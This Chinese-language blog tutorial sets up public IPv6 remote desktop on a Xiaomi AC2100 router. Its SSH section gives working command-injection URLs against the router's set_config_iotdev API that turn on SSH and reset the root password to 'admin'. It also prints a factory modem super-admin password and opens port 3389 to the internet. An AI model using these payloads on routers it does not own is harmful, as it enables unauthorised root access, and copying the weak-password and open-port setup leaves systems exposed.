背景
由於家裡是移動網,且懶得向運營商要公網IPv4,所以想著用IPv6試一下。 家裡的環境是這樣的:
- 寬頻用的是移動的,沒有公網IPv4,但經過測試發現IPv6是公網的
- 上網通過光貓撥號,而不是通過路由器
- 路由器是小米AC2100
光貓更改為橋接模式
路由器必須要通過PPPoE撥號,如果是光貓撥號,那麼要找對應的維護人員輔助你把光貓改成橋接模式。通過PPPoE撥號路由器就能夠拿到公網的IPv6網段,也就可以給底下的其他服務分配公網IPv6了。而如果是光貓撥號,那麼只有路由器可以拿到公網的IP。其他的裝置就是路由器給的內網IP了。
現在,你需要進入光貓後臺管理頁面:192.168.1.1
,如果打不開,那麼要連到光貓的無線上或者通過有線連線。
後臺管理頁面的賬號是:CMCCAdmin
,密碼是:aDm8H%MdA
。通過這個賬號進去才是超級管理員。
像上面這樣配置之後,光貓就是橋接模式了。(不過我實際操作的時候,是不行的,需要在這個頁面的時間管理
欄裡面輸入對應的密碼才能夠開啟。如果不行的話,可以問一下對應的維修人員。)
有一點要注意的是,繫結選線裡面我選了LAN1
,是因為我路由器是和光貓的LAN1
口連在一起的。
路由器通過PPPoE撥號
接下來需要在路由器上通過PPPoE撥號。路由器的後臺管理頁面是192.168.31.1
,輸入密碼後就可以進入。在常用設定
-上網設定
裡面選擇PPPoE撥號,輸入賬號密碼即可。如果是通過手機號辦的寬頻,賬號就是手機號,密碼是手機號後六位。
至此,你應該可以正常上網了。開啟電腦的CMD
,輸入ipconfig
,看到下面那一長串的IPv6就對了,要注意不能是fe80
開頭的,否則還是內網的IPv6地址
這個時候你可以進入http://test-ipv6.com/index.html.zh_CN
來檢測你的IPv6是不是真的公網IPv6。檢測報告大概是下面這個樣子,裡面的紅框部分和你本地看到的是一樣的就是沒有問題的,說明是公網IPv6。
注:我這裡不一樣是因為對外使用了臨時IPv6的地址,也就是上面紅框下面一欄裡面寫的,這個臨時IPv6的地址是會改變的,所以沒有關係。
路由器開放IPv6埠
由於小米的路由器對IPv6的支援不是很好,所以很多功能是被閹割的。目前,除了AX3600
和AX1800
兩款路由器外,其他的路由器都是關閉IPv6防火牆的,也就是說,你無法在外網連線到你的IPv6裝置。而且,路由器的後臺管理頁面不支援關閉這個防火牆,這也是比較坑的地方。
現在,唯一的解決辦法是ssh到路由器上,然後手動開啟特定埠。
開啟路由器ssh服務
那麼,第一步是通過漏洞開啟路由器的ssh服務。
使用管理密碼登入管理頁面
管理頁面登入後位址列連結應為:
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router
PS: 和小白同學解釋下,<STOK>
是代表你登入後自動生成的那一長串資料,每個人都不一樣,用於替換下一步中的連結中部分。
一步到位漏洞注入
在瀏覽器位址列中輸入以下連結程式碼,注意替換掉<STOK>
部分,否則無效:
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B
複製程式碼
返回{"code":0}
即代表成功,其實成不成功都會返回這個:)注意傳參順序及指令前後都要有一個分號,即%3B
如果返回401錯誤,原因可能是版本不正確或者<STOK>
值錯誤或者連結輸入不完整等,提示404錯誤,說明輸入地址錯誤,請檢查韌體版本或連結地址...
建議一鍵注入後需等待一些時間,保證路由器後臺能正確處理注入資訊後再重啟,
重啟即可開啟SSH,root密碼請自行根據SN計算;不想計算的或不知道怎麼計算的,可以看下一步
更改管理員root密碼 (可跳過)
root賬號不想用初始密碼的執行下面的程式碼改密碼為admin,在瀏覽器位址列中輸入以下連結程式碼,注意替換掉部分(有時stok值會發生改變,建議重新返回1.2.1步驟複製最新的stok值)
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B
複製程式碼
通過ssh連線
你可以通過這個教程來了解如何開啟ssh服務,本文不再贅述,如果已經開過了,那麼可以忽略這一步。
現在開啟CMD
,輸入ssh root@192.168.31.1
,可能會提示下面這個,如果沒有就忽略。這一步輸入yes
即可。
The authenticity of host '192.168.31.1 (192.168.31.1)' can't be established.
RSA key fingerprint is SHA256:qHze6P9W8lfNXL2+IFRWAOA5QXS/YpJZwKL5Ft7Qe1I.
Are you sure you want to continue connecting (yes/no/[fingerprint])?
複製程式碼
下一步會提示root@192.168.31.1's password:
,這一步是讓你輸入密碼,輸入剛剛設定的密碼admin
即可進入,出現如下資訊代表成功。PS:中間那一大串是Are You OK
,是雷總的經典名言。
BusyBox v1.25.1 (2020-09-21 11:44:18 UTC) built-in shell (ash)
-----------------------------------------------------
Welcome to XiaoQiang!
-----------------------------------------------------
$$$$$$\ $$$$$$$\ $$$$$$$$\ $$\ $$\ $$$$$$\ $$\ $$\
$$ __$$\ $$ __$$\ $$ _____| $$ | $$ | $$ __$$\ $$ | $$ |
$$ / $$ |$$ | $$ |$$ | $$ | $$ | $$ / $$ |$$ |$$ /
$$$$$$$$ |$$$$$$$ |$$$$$\ $$ | $$ | $$ | $$ |$$$$$ /
$$ __$$ |$$ __$$< $$ __| $$ | $$ | $$ | $$ |$$ $$<
$$ | $$ |$$ | $$ |$$ | $$ | $$ | $$ | $$ |$$ |\$$\
$$ | $$ |$$ | $$ |$$$$$$$$\ $$$$$$$$$ | $$$$$$ |$$ | \$$\
\__| \__|\__| \__|\________| \_________/ \______/ \__| \__|
root@XiaoQiang:~#
複製程式碼
至此,你已經進入了路由器的後臺頁面。接下來就是開啟埠對映了
開啟特定埠對映
在剛剛的控制檯頁面輸入如下兩條命令,按回車即可執行。這一步是開啟3389
埠,因為預設遠端連線的埠號就是3389
。如果你有特殊的需求,如使用NAS,那麼你可以更改裡面的埠號。
ip6tables -I forwarding_rule -p tcp --dport 3389 -j ACCEPT
ip6tables -I forwarding_rule -p udp --dport 3389 -j ACCEPT
複製程式碼
當然,這種方式在重啟後就失效了,所以我們應該將其配置為開機自啟動。
在命令號輸入vi /etc/rc.local
,看到如下頁面
# Put your custom commands here that should be executed once
# the system init finished. By default this file does nothing.
exit 0
~
- /etc/rc.local 1/7 14%
複製程式碼
這是linux的編輯頁面,輸入i
進入編輯模式,將剛剛兩段話加在exit 0
的前面,結果如下:
# Put your custom commands here that should be executed once
# the system init finished. By default this file does nothing.
ip6tables -I forwarding_rule -p tcp --dport 3389 -j ACCEPT
ip6tables -I forwarding_rule -p udp --dport 3389 -j ACCEPT
exit 0
~
- /etc/rc.local 1/7 14%
複製程式碼
隨後按ESC
退出編輯模式,輸入:wq
並回車即可儲存並退出。現在,你就可以使用遠端連線了,Enjoy~